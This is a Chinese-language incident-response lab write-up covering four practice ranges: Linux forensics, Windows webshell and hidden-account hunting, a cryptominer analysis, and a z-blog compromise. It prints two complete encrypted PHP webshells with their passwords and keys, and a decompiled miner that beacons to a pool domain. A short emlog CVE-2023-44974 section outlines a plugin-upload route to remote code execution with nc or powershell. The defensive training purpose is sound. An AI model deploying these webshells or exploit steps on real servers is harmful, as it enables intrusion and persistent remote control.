靶场一 linux应急响应
目标: 3个flag以及黑恶的ip地址
登录密码 defend
历史指令
先登录root看历史指令
拿到flag1 flag{thisismybaby}
[root@localhost defend]# history
1 ls
2 chmod +x /etc/rc.d/rc.local
3 cat /etc/rc.d/rc.local
4 vim /etc/rc.d/rc.local
5 echo flag{thisismybaby}
6 exit
7 ls
8 ls -al
9 cat .bash_history
10 history
根据历史指令 黑客修改了/etc/rc.d/rc.local 文件
[root@localhost etc]# cat /etc/rc.d/rc.local
#!/bin/bash
# THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES
#
# It is highly advisable to create own systemd services or udev rules
# to run scripts during boot instead of using this file.
#
# In contrast to previous versions due to parallel execution during boot
# this script will NOT be run after all other services.
#
# Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure
# that this script will be executed during boot.
# flag{kfcvme50}
文件里面放了第二个flagflag{kfcvme50}
文件里还有信息touch /var/lock/subsys/local
创建了一个local文件但是目录是空
[root@localhost subsys]# ls -al
总用量 0
drwxr-xr-x. 2 root root 80 4月 17 17:12 .
drwxr-xr-x. 8 root root 220 4月 17 17:12 ..
-rw-r--r--. 1 root root 0 4月 17 17:12 local
-rw-r--r--. 1 root root 0 4月 17 1
第三个flag在redis的配置目录下找到
其实是偷鸡找到的,但是也说明了redis配置文件容易被入侵
[root@localhost etc]# grep -rl "flag{" .
./rc.d/rc.local
./redis.conf
[root@localhost subsys]# cat /etc/redis.conf
# flag{P@ssW0rd_redis}
# Redis configuration file example.
#
# Note that in order to read the configuration file, Redis must be
# started with the file path as first argument:
#
# ./redis-server /path/to/redis.conf
# Note on units: when memory size is needed, it is possible to specify
# it in the usual form of 1k 5GB 4M and so forth:
#
# 1k => 1000 bytes
# 1kb => 1024 bytes
# 1m => 1000000 bytes
# 1mb => 1024*1024 bytes
# 1g => 1000000000 bytes
# 1gb => 1024*1024*1024 bytes
#
# units are case insensitive so 1GB 1Gb 1gB are all the same.
第三个flag {P@ssW0rd_redis}
访问日志
最后是找到黑客的ip,从redis被入侵来看redis日志极可能包含ip
[root@localhost redis]# cat redis.log |grep Acc
11111:M 18 Mar 19:27:54.895 - Accepted 127.0.0.1:41590
11595:M 18 Mar 19:27:57.321 - Accepted 192.168.75.129:54766
11595:M 18 Mar 19:39:31.996 - Accepted 192.168.75.129:53104
11595:M 18 Mar 19:39:34.052 - Accepted 192.168.75.129:57672
11595:M 18 Mar 19:44:53.399 - Accepted 127.0.0.1:41594
12234:M 18 Mar 19:47:02.153 - Accepted 192.168.75.129:45240
12234:M 18 Mar 19:47:03.612 - Accepted 192.168.75.129:53124
12234:M 18 Mar 19:53:40.994 - Accepted 127.0.0.1:41596
12559:M 18 Mar 19:53:45.397 - Accepted 192.168.75.129:44572
12559:M 18 Mar 19:53:46.807 - Accepted 192.168.75.129:44582
12559:M 18 Mar 20:20:57.221 - Accepted 127.0.0.1:41598
13274:M 18 Mar 20:21:56.411 - Accepted 192.168.75.129:54826
13274:M 18 Mar 20:21:58.333 - Accepted 192.168.75.129:54836
根据进入的ip锁定黑客ip为192.168.75.129
上交题解系统
[defend@localhost 题解]$ ./题解Script.sh
欢迎使用 知攻善防实验室 解题系统
在继续之前,您需要获得以下内容:
1.攻击者IP地址
2.三个flag(flag格式flag{xxxxx})
您准备好了吗?(y/n) y
请输入攻击者的IP地址:192.168.75.129
您输入的IP地址正确,请继续
请输入第一个flag:flag{thisismybaby}
您输入的第一个flag正确,请继续
请输入第二个flag:flag{kfcvme50}
您输入的第二个flag正确,请继续
请输入第三个flag:flag{P@ssW0rd_redis}
您输入的第三个flag正确,请继续
恭喜您,成功攻克该靶机!
恭喜您,成功攻克该靶机!
恭喜您,成功攻克该靶机!
恭喜您,成功攻克该靶机!
恭喜您,成功攻克该靶机!
恭喜您,成功攻克该靶机!
靶场二 windows
是一个windows靶机
先看一下需要哪些flag
公众号:知攻善防实验室
欢迎使用知攻善防实验室-应急响应训练靶机解题系统
在此之前,您应该获取到以下信息
1.攻击者的shell密码
2.攻击者的IP地址
3.攻击者的隐藏账户名称
4.攻击者挖矿程序的矿池域名
桌面有个phpstudy
进入web目录用d盾扫描一下
扫到一个后门C:\phpstudy_pro\WWW\content\plugins\tips\shell.php
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
连接密码是rebeyond
然后前往apache日志根据后门文件名寻找黑客ip
.
黑客ip:192.168.126.1
先把实时扫描关了,传个工具分析日志
发现黑客远程登录记录
用户名是hack168$
去用户木目录下看果然又这个用户
该黑客目录下桌面有个kuang程序 狂?矿!
点了一下,给我电脑靶机玩炸了,应该是内存拉满了
不得已重启了一下
现在需要找到矿池域名
需要py反编译
先解包
PS E:\蓝队应急响应工具箱v2024.4\Tools\BT-Reverse\PyinstallRE> python .\pyinstxtractor.py .\Kuang.exe
[+] Processing .\Kuang.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.8
[+] Length of package: 9606813 bytes
[+] Found 85 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: Kuang.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.8 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: .\Kuang.exe
You can now use a python decompiler on the pyc files within the extracted directory
然后反编译pyc
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.8
import multiprocessing
import requests
def cpu_intensive_task():
try:
requests.get('http://wakuang.zhigongshanfang.top', 10, **('timeout',))
finally:
continue
continue
continue
if __name__ == '__main__':
cpu_count = multiprocessing.cpu_count()
processes = (lambda .0: [ multiprocessing.Process(cpu_intensive_task, **('target',)) for _ in .0 ])(range(cpu_count))
for process in processes:
process.start()
for process in processes:
process.join()
矿池域名wakuang.zhigongshanfang.top
漏洞复现
CVECVE-2023-44974 emlog任意文件上传漏洞
进入web登录后台 admin/123456
拓展处可以安装插件
上传的压缩包里面要有木马而且需要免杀,用网上exp
https://github.com/yangliukk/emlog/tree/main
然后访问/content/plugins/shell/shell.php
成功rce
<?php
phpinfo();
?>
shell.php很简单,改成其他远程连接的指令就能拿下windows,比如openssl,nc,powershell等等。
靶场三 windows(2)
题目描述
Administrator
Zgsf@qq.com
打开靶机用密码Zgsf@qq.com
登录
先看需要哪些flag
1.攻击者的IP地址(两个)?
2.攻击者的webshell文件名?
3.攻击者的webshell密码?
4.攻击者的QQ号?
5.攻击者的服务器伪IP地址?
6.攻击者的服务器端口?
7.攻击者是如何入侵的(选择题)?
8.攻击者的隐藏用户名?
扫后门
先用d盾扫一下www目录
确实存在后门
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='hack6618';
$payloadName='payload';
$key='7813d1590d28a7dd';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
webshell文件名system.php
webshell密码hack6618
看web目录知道这是一个wordpress服务
先去日志把黑客ip找出来
**黑客ip之一192.168.126.135
**,并且知道了黑客用户为hack887$
看远程连接日志
黑客另一个ip192.168.126.129
进入黑客的桌面看到两个注册表文件
进入cmd发现找不到这个黑客用户
去注册表找一下
存在hack887$
用户,这是黑客伪装的用户,将其删除
在其他文档里寻找黑客信息,果然document里面又腾讯文件,一般里面文件名都是QQ号
黑客QQ777888999321
虽然很长,但毕竟是靶机,就是它了
进去继续找信息
在FileRecv里面发现frp工具,一般用来内网穿透
在frpc.ini里面保存了攻击者的服务器和端口
IP:256.256.66.88
port:65536
解题
靶场四 windows(3)
依旧一个windows web的靶场
登录账号密码 administrator/xj@123456
桌面丰富了一些
先看需要哪些flag
确保你已获得以下信息:
攻击者的两个IP地址
攻击者隐藏用户名称
三个攻击者留下的flag
先用d盾查一下webshell
没有
去apache日志看一下
access日志只有两个ip
ip1:192.168.75.129
ip2:192.168.75.130
分析远程连接日志
有个hack6618$用户连结果ip是192.168.75.130
那么黑客两个ip应该就是上面两个
再查看一下用户
确定黑客name为hack6618$
进入到黑客文档看一下
在下载里面找到了一个木马文件
还有一个flagflag{888666abc}
其他地方没东西
看一下定时任务
拿到第二个flagflag{zgsfsys@sec}
看一下执行了什么操作
就是上面我们在下载里面找到的bat文件
然后打开web找找web有什么信息
z-blog的cms
网上有工具可以免密登录后台
放到www目录然后打开url
我这编码有点问题不过不影响看
有个hacker用户
先重置admin用户密码为12345678
找到hacker用户,在摘要地方找到了第三个flag
flag3:flag{H@Ck@sec}
拿下。